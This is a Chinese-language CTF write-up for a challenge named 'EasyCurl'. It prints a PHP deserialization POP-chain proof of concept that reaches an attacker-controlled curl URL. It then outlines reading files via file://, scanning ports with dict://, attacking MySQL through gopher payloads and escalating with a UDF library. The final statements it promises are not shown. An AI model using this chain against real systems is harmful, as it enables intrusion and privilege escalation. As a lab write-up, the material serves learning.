EasyCurl

没看到有个hint是common.php.bak,加上还要扫一下目录,注意到其实是有很多文件的。

其中app文件中可以拿到admin账号,登录后台到admin.php,后面就是噩梦的开始了。

拿到了common.php,加上有个反序列化的点,构造poc,最终能触发的是一个curl(url),其中参数可控。

<?php
class User
{
    public $username;
    public $password;
    public $personal_intro;
    public $gender;
    public $valid;
    public $session_id;
    public $logger;
    public $db_operator;
    public function __construct()
    {
//        $this->username=$username;
//        $this->password=md5($password);
    }
    public function __toString()
    {
        return 'username:'.$this->username;
    }
    public function __wakeup()
    {
//        echo 'test';
        $this->logger=new logger('log/user_'.$this->username.'.log');
        $this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
    }
    public function initialize_db($host,$db,$user,$pass){
        $this->db_operator=new db($host,$db,$user,$pass);
    }
    public function set_current_session_id($session_id){
        $this->session_id=$session_id;
    }
    public function update_database(){
        if($this->username!=''&&strlen($this->password)==32){
        }
        else{
            echo 'invalid data';
        }
    }
    public function set_password($new_password){
        $this->password=$new_password;
        //pdo插入数据
    }
    public function set_gender($new_gender){
        $this->gender=$new_gender;
    }
    public function set_personal_intro($new_personal_intro){
        $this->personal_intro=$new_personal_intro;
    }
    public function check_valid_user(){
        require 'config.php';
        $this->initialize_db($host,$db,$user,$pass);
        $info=$this->db_operator->query_one('user','username',$this->username);
        //print_r($info);
        $password='';
        if(isset($info[0]['password']))
            $password=$info[0]['password'];
        //echo $password;
        //pdo获取密码
        if($this->password===$password){
            $this->logger=new logger('log/user_'.$this->username);
            $this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' logged in');
            $this->valid=true;
            return true;
        }
        $this->valid=false;
        return false;
    }
}
class db{
    public $dbh;
    public function __construct($host,$db,$user,$pass)
    {
        try{
            $this->dbh=new PDO('mysql:host='.$host.';dbname='.$db,$user,$pass);
            $this->dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
        }catch (PDOException  $e){
            echo 'database connect fail: '.$e;
            return false;
        }
        return true;
    }
    public function __destruct()
    {
        $this->close();
    }
    public function query_all(){
        $query='select * from user ';
        $prepared=$this->dbh->prepare($query);
        $prepared->execute();
        if(!$prepared->fetchAll()){
            return false;
        }
        return $prepared->fetchAll();
    }
    public function query_one($table,$column,$limitation){
        $query="select * from user where username= ? ";
        $prepared=$this->dbh->prepare($query);
        $prepared->execute(array($limitation));
        //var_dump($prepared);
        return $prepared->fetchAll();
    }
//    public function update_one($table,$set_column,$value,$where_column,$limitation){
//        $query='update user set ? = ? where ? = ?';
//        $prepared=$this->dbh->prepare($query);
//        return $prepared->execute(array($set_column,$value,$where_column,$limitation));
//    }
    public function insert_one($value_array){
        $query='insert into user values ? , ? , ? , ?';
        $prepared=$this->dbh->prepare($query);
        return $prepared->execute($value_array);
    }
    public function close(){
        $this->dbh=null;
    }
}
class cache_parser{
    public $user;
    public $user_cache;
    public $default_handler='call_handler';
    public $logger;
    public function __construct()
    {
//        $this->logger=new logger('log/parser');
//        $this->default_handler=new file_request();
    }
    public function __toString()
    {
        $this->save_user_info();
        //var_dump($this->user);
        //var_dump($this->user_cache);
        return $this->user_cache;
    }
    public function __call($name, $arguments)
    {
        $handler=$this->default_handler;
        $handler();
    }
    public function get_user($user){
        $this->user=$user;
    }
    public function save_user_info(){
        if(isset($this->user->session_id)){
            if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
                echo '<p>illegal username or session id</p>';
                return false;
            }
            $this->user_cache=serialize($this->user);
            file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
            $this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
            return true;
        }
        echo $this->user->session_id;
        return false;
    }
    public function get_user_cache($session_id){
        if(isset($_SESSION[$session_id])){
            $this->user_cache=file_get_contents('cache_'.$session_id.'.txt');
            $this->user=unserialize($this->user_cache);
            return true;
        }
        return false;
    }
    public function load_user($user_cache){
        $this->user=unserialize($user_cache);
        return $this->user;
    }
}
class file_request{
    public $url;
    public $content;

    public function __construct()
    {
        $this->url='file:///etc/passwd';
        $this->content='';
    }
    public function request(){
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$this->url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
        $this->content=curl_exec($ch);
        echo 'resource requested!';
        curl_close($ch);
    }
    public function get_response(){
        echo $this->content;
        return $this->content;
    }
    public function __invoke()
    {
        if($this->content!=''){
            return $this->get_response();
        }
        elseif ($this->url!=''){
            $this->request();
            return $this->get_response();
        }
        else{
            return 'empty url!';
        }
    }
}
class logger{
    public $filename;
    public function __construct($log)
    {
        $this->filename=$log;
    }
    public function write_log($content){
        file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
//        echo 'log!';
    }
}
function call_handler($name){
    echo 'call to undefined function '.$name.'()';
}

$c1=new cache_parser();
$c1->default_handler=new file_request();
$c2=new cache_parser();
$u1=new User();
$u1->session_id=1;
$c2->user=$u1;
$c2->logger=$c1;
$u2=new User();
$u2->username=$c2;
echo serialize($u2);

回顾一下curl能支持的协议无非http/dict/gohper/ftp,所以这里有个任意文件读取,但是读不到flag,http的话也用不上,尝试用dict扫描端口,发现3306端口开放了mysql,剩下的Redis之类的服务也没有,但是gohper协议能用的情况下我们可以攻击mysql服务,差的无非就是配置信息,结合上面扫描目录出的config.php,利用任意文件读取读取config.php,拿到账号,使用脚本gohperus来实现一个gohper的exp生成

然后这里由于没什么头绪,我尝试了一些比较愚笨的方法,首先是secuer_file_priv设置为/usr/lib/mysql/plugin/,于是webshell是不行的,尝试了一下写日志,依然不能写到除了/mysql目录下的其他地方。

思路似乎卡死,于是开始考虑其他提权的方式,想到了UDF提权,刚好UDF提权的首要条件就是需要在 /usr/lib/mysql/plugin/ 目录下写入so文件,而该目录是secure_file_priv的可写目录,其实是比较明显的暗示了。

最后执行的所有语句如下,通过脚本转成gohper://xxx进行攻击。

Last updated